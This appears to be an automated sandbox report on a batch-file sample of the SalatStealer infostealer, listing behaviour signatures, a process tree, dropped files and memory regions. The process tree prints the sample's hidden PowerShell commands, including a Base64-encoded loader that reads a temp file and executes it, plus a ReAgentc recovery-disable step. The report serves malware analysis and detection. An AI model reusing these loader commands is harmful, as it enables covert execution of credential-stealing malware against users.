Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    30/10/2026, 03:51

General

  • Target
    service.bat
  • Size 4.6MB
  • Sample261030-eepyraws7m
  • SHA256 596e90fd609c8ef05be3c9311a8196b6844c7b2ea3c8d6b3a4b206c3fc027d4f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

  • Detect SalatStealer payload 17 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 2 IoCs
  • UPX packed file 22 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 6 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 46 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\service.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4700
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -c "$p=$env:LCBAT; Start-Process -WindowStyle Hidden -FilePath $env:ComSpec -ArgumentList @('/c',([char]34+$p+[char]34),'h')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4740
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\service.bat" h
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1652
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoP -NonI -W Hidden -Exec Bypass -e "JABmAD0AWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAAUABhAHQAaAAoACkAKwAnAGwAYwBfADMANQA0ADgAXwAxADcAOAA5ADIAMQA4ADMAOAA4ADgANAA4ADAAMQA3ADIAMAAwAC4AbAA2ADQAJwA7ACQAdAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAGYAKQAtAHIAZQBwAGwAYQBjAGUAJwBbAFwAcgBcAG4AXQAnACwAJwAnADsAaQBlAHgAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAKQApACkA"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4516
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wk4d02g1\wk4d02g1.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:5992
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7D59.tmp" "c:\Users\Admin\AppData\Local\Temp\wk4d02g1\CSC8CFC1576C179467BB8FE79903386696E.TMP"
              6⤵
                PID:5880
            • C:\Users\Admin\AppData\Local\Temp\p_62cef304-517d-40da-9d8f-4fa0c5319235.exe
              "C:\Users\Admin\AppData\Local\Temp\p_62cef304-517d-40da-9d8f-4fa0c5319235.exe"
              5⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:4920
              • C:\Program Files (x86)\Reference Assemblies\services.exe
                "C:\Program Files (x86)\Reference Assemblies\services.exe"
                6⤵
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:2036
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe
                  7⤵
                  • UAC bypass
                  • Badlisted process makes network request
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:5088
                  • C:\Windows\SysWOW64\ReAgentc.exe
                    "C:\Windows\system32\ReAgentc.exe" /disable
                    8⤵
                    • Drops file in System32 directory
                    • Drops file in Windows directory
                    • System Location Discovery: System Language Discovery
                    PID:4936
                • C:\Program Files (x86)\Microsoft\Edge\Application\services.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\services.exe" -
                  7⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  PID:4888
                • C:\Program Files\Google\Chrome\Application\services.exe
                  "C:\Program Files\Google\Chrome\Application\services.exe" -
                  7⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  PID:3968
    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
      1⤵
        PID:2884
      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
        1⤵
          PID:3796
        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
          1⤵
            PID:1676

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 b9fe8f675cacc20fba4e3a98624ca8fb6eaf41aea042b3a84a2ea0a1b8d4d587
                • MD5 SHA1 SHA512 TLSH

                RES7D59.tmp

                • Path C:\Users\Admin\AppData\Local\Temp\RES7D59.tmp
                • Size 1KB
                • SHA256 7cbb733f2fb74b52c9aac120c1ff15be39a68f4f7c875d558dabb30bc10efa20
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_5zpvhuot.im0.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5zpvhuot.im0.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                lc_3548_1789218388848017200.b64

                • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
                • Size 23KB
                • SHA256 a6ac248ea124979697dbda596ca6aeccf3ea2b9d5841f236987b26ffdd49d757
                • MD5 SHA1 SHA512 SSDEEP TLSH

                lc_3548_1789218388848017200.b64

                • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
                • Size 4.6MB
                • SHA256 3da2c0a994bf3f0c6a1a7a76ecff6c1a31eeec96be03bc86874909a43d929eec
                • MD5 SHA1 SHA512 SSDEEP TLSH

                lc_3548_1789218388848017200.l64

                • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.l64
                • Size 10KB
                • SHA256 4798a29f55cd8200581123ae2aaa40a4657edd358b7b5b2831506e41663cc293
                • MD5 SHA1 SHA512 SSDEEP TLSH

                p_62cef304-517d-40da-9d8f-4fa0c5319235.exe

                • Path C:\Users\Admin\AppData\Local\Temp\p_62cef304-517d-40da-9d8f-4fa0c5319235.exe
                • Size 3.4MB
                • SHA256 2d14c4c6626d132fceb3e7639a344875db53c10b39a32f0069c3d9453720cd88
                • MD5 SHA1 SHA512 SSDEEP TLSH

                wk4d02g1.dll

                • Path C:\Users\Admin\AppData\Local\Temp\wk4d02g1\wk4d02g1.dll
                • Size 5KB
                • SHA256 d0c62ecb61b2a2a61e3688dd429bd7766982034402e59c9fdc86fba392f71031
                • MD5 SHA1 SHA512 SSDEEP TLSH

                CSC8CFC1576C179467BB8FE79903386696E.TMP

                • Path \??\c:\Users\Admin\AppData\Local\Temp\wk4d02g1\CSC8CFC1576C179467BB8FE79903386696E.TMP
                • Size 652B
                • SHA256 7f74ae913de6e037319e4857c3d1bf6fd8d19e3f4d6965f2589eae56b1548eb0
                • MD5 SHA1 SHA512 TLSH

                wk4d02g1.0.cs

                • Path \??\c:\Users\Admin\AppData\Local\Temp\wk4d02g1\wk4d02g1.0.cs
                • Size 2KB
                • SHA256 f48c932311da4613b034f7a793b257a73ccd428c9c8758b19d312b7d208f3852
                • MD5 SHA1 SHA512 TLSH

                wk4d02g1.cmdline

                • Path \??\c:\Users\Admin\AppData\Local\Temp\wk4d02g1\wk4d02g1.cmdline
                • Size 369B
                • SHA256 84b2304947b5a0a5980364e3a6487b53a74f0fec0ac6e4816f4b3726263ab0ac
                • MD5 SHA1 SHA512 TLSH

                memory/2036-929-0x0000000000300000-0x0000000000F55000-memory.dmp

                memory/2036-858-0x0000000000300000-0x0000000000F55000-memory.dmp

                memory/2036-926-0x0000000000300000-0x0000000000F55000-memory.dmp

                memory/2036-925-0x0000000000300000-0x0000000000F55000-memory.dmp

                memory/2036-927-0x0000000000300000-0x0000000000F55000-memory.dmp

                memory/2036-928-0x0000000000300000-0x0000000000F55000-memory.dmp

                memory/2036-922-0x0000000000300000-0x0000000000F55000-memory.dmp

                memory/2036-923-0x0000000000300000-0x0000000000F55000-memory.dmp

                memory/2036-893-0x0000000000300000-0x0000000000F55000-memory.dmp

                memory/2036-924-0x0000000000300000-0x0000000000F55000-memory.dmp

                memory/2036-857-0x0000000000300000-0x0000000000F55000-memory.dmp

                memory/2036-930-0x0000000000300000-0x0000000000F55000-memory.dmp

                memory/2036-859-0x0000000000300000-0x0000000000F55000-memory.dmp

                memory/3968-884-0x0000000000810000-0x0000000001465000-memory.dmp

                memory/3968-888-0x0000000000810000-0x0000000001465000-memory.dmp

                memory/4516-814-0x00000222E1060000-0x00000222E1070000-memory.dmp

                memory/4516-837-0x00000222E1090000-0x00000222E1098000-memory.dmp

                memory/4516-815-0x00000222E1060000-0x00000222E1070000-memory.dmp

                memory/4740-1-0x00000234E66C0000-0x00000234E66D0000-memory.dmp

                memory/4740-9-0x00000234FF7A0000-0x00000234FF7C2000-memory.dmp

                memory/4740-0-0x00000234E66C0000-0x00000234E66D0000-memory.dmp

                memory/4888-864-0x0000000000170000-0x0000000000DC5000-memory.dmp

                memory/4888-871-0x0000000000170000-0x0000000000DC5000-memory.dmp

                memory/4920-856-0x00000000007C0000-0x0000000001415000-memory.dmp

                memory/4920-850-0x00000000007C0000-0x0000000001415000-memory.dmp

                memory/4920-849-0x00000000007C0000-0x0000000001415000-memory.dmp

                memory/4920-847-0x00000000007C0000-0x0000000001415000-memory.dmp

                memory/5088-868-0x0000000005280000-0x00000000052A2000-memory.dmp

                memory/5088-892-0x0000000007600000-0x000000000761A000-memory.dmp

                memory/5088-891-0x0000000007C60000-0x00000000082DA000-memory.dmp

                memory/5088-895-0x000000006FC60000-0x000000006FCAC000-memory.dmp

                memory/5088-894-0x00000000077C0000-0x00000000077F2000-memory.dmp

                memory/5088-896-0x0000000070560000-0x00000000708B4000-memory.dmp

                memory/5088-904-0x0000000007800000-0x000000000781E000-memory.dmp

                memory/5088-905-0x0000000007820000-0x00000000078C3000-memory.dmp

                memory/5088-906-0x0000000007920000-0x000000000792A000-memory.dmp

                memory/5088-907-0x00000000079F0000-0x0000000007A86000-memory.dmp

                memory/5088-908-0x0000000007950000-0x0000000007961000-memory.dmp

                memory/5088-909-0x0000000007980000-0x000000000798E000-memory.dmp

                memory/5088-910-0x0000000007990000-0x00000000079A4000-memory.dmp

                memory/5088-911-0x0000000007A90000-0x0000000007AAA000-memory.dmp

                memory/5088-912-0x00000000079C0000-0x00000000079C8000-memory.dmp

                memory/5088-918-0x0000000007AC0000-0x0000000007AE2000-memory.dmp

                memory/5088-919-0x0000000008890000-0x0000000008E34000-memory.dmp

                memory/5088-890-0x0000000007560000-0x00000000075D6000-memory.dmp

                memory/5088-889-0x00000000067F0000-0x0000000006834000-memory.dmp

                memory/5088-886-0x0000000006290000-0x00000000062DC000-memory.dmp

                memory/5088-885-0x0000000006260000-0x000000000627E000-memory.dmp

                memory/5088-877-0x0000000005C40000-0x0000000005F94000-memory.dmp

                memory/5088-870-0x0000000005AD0000-0x0000000005B36000-memory.dmp

                memory/5088-869-0x0000000005A60000-0x0000000005AC6000-memory.dmp

                memory/5088-866-0x0000000005430000-0x0000000005A58000-memory.dmp

                memory/5088-865-0x0000000002900000-0x0000000002936000-memory.dmp